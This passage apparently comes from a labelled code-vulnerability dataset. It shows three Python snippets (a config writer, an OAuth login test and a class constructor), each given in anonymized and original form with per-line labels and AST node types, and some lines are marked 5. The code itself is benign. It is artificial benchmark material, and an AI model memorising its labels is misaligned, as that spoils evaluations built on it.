"VAR_33 = set(VAR_13.keys())\n",
"for VAR_69, line in enumerate(VAR_56):\n",
"VAR_46 = re.match('^(\\\\s*)\"([^\"]+)\":', line)\n",
"for l in VAR_56:\n",
"if VAR_46:\n",
"out_f.write(l)\n",
"if VAR_33:\n",
"VAR_65, VAR_66 = VAR_46.groups()\n",
"print('These configuration items were not set:')\n",
"FUNC_2()\n",
"if VAR_66 in VAR_33:\n",
"print(' ' + ', '.join(sorted(list(VAR_33))))\n",
"VAR_56[VAR_69] = '%s\"%s\": %s,\\n' % (VAR_65, VAR_66, VAR_13[VAR_66])\n",
"VAR_33.remove(VAR_66)\n"
] | [
"def configure_cms(options):...\n",
"\"\"\"docstring\"\"\"\n",
"lines = in_f.readlines()\n",
"unset = set(options.keys())\n",
"for i, line in enumerate(lines):\n",
"g = re.match('^(\\\\s*)\"([^\"]+)\":', line)\n",
"for l in lines:\n",
"if g:\n",
"out_f.write(l)\n",
"if unset:\n",
"whitespace, key = g.groups()\n",
"print('These configuration items were not set:')\n",
"read_cms_config()\n",
"if key in unset:\n",
"print(' ' + ', '.join(sorted(list(unset))))\n",
"lines[i] = '%s\"%s\": %s,\\n' % (whitespace, key, options[key])\n",
"unset.remove(key)\n"
] | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Docstring",
"Assign'",
"Assign'",
"For",
"Assign'",
"For",
"Condition",
"Expr'",
"Condition",
"Assign'",
"Expr'",
"Expr'",
"Condition",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def FUNC_5(self):...\n",
"VAR_1 = self.client.get(url_for('oauthclient.login', remote_app='test'))\n",
"self.assertStatus(VAR_1, 302)\n",
"self.assertEqual(VAR_1.location, \n 'https://foo.bar/oauth/authorize?response_type=code&client_id=testid&redirect_uri=%s'\n % quote_plus(url_for('oauthclient.authorized', remote_app='test',\n _external=True)))\n",
"VAR_1 = self.client.get(url_for('oauthclient.login', remote_app='invalid'))\n",
"self.assertStatus(VAR_1, 404)\n"
] | [
"def test_login(self):...\n",
"resp = self.client.get(url_for('oauthclient.login', remote_app='test'))\n",
"self.assertStatus(resp, 302)\n",
"self.assertEqual(resp.location, \n 'https://foo.bar/oauth/authorize?response_type=code&client_id=testid&redirect_uri=%s'\n % quote_plus(url_for('oauthclient.authorized', remote_app='test',\n _external=True)))\n",
"resp = self.client.get(url_for('oauthclient.login', remote_app='invalid'))\n",
"self.assertStatus(resp, 404)\n"
] | [
0,
5,
0,
5,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Expr'",
"Expr'",
"Assign'",
"Expr'"
] |
[
"def __init__(self, VAR_1, VAR_2, VAR_3, VAR_4, VAR_5, VAR_6):...\n",
"self._attributes = VAR_2\n",
"self._base_dir = VAR_5\n",
"self._remote = VAR_1\n",
"self._server = VAR_3\n",
"self._server_version = VAR_4\n",
"self._shutdown_hook = VAR_6\n",
"self._timers = []\n",
"self._timers_dying = False\n",
"self._timers_lock = threading.Lock()\n"
] | [
"def __init__(self, remote, attributes, server, server_version, base_dir,...\n",
"self._attributes = attributes\n",
"self._base_dir = base_dir\n",
"self._remote = remote\n",
"self._server = server\n",
"self._server_version = server_version\n",
"self._shutdown_hook = shutdown_hook\n",
"self._timers = []\n",
"self._timers_dying = False\n",
"self._timers_lock = threading.Lock()\n"
] | [
0,
0,
0,
5,
0,
0,
0,
0,
0,
0
] | [
"FunctionDef'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'",
"Assign'"
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.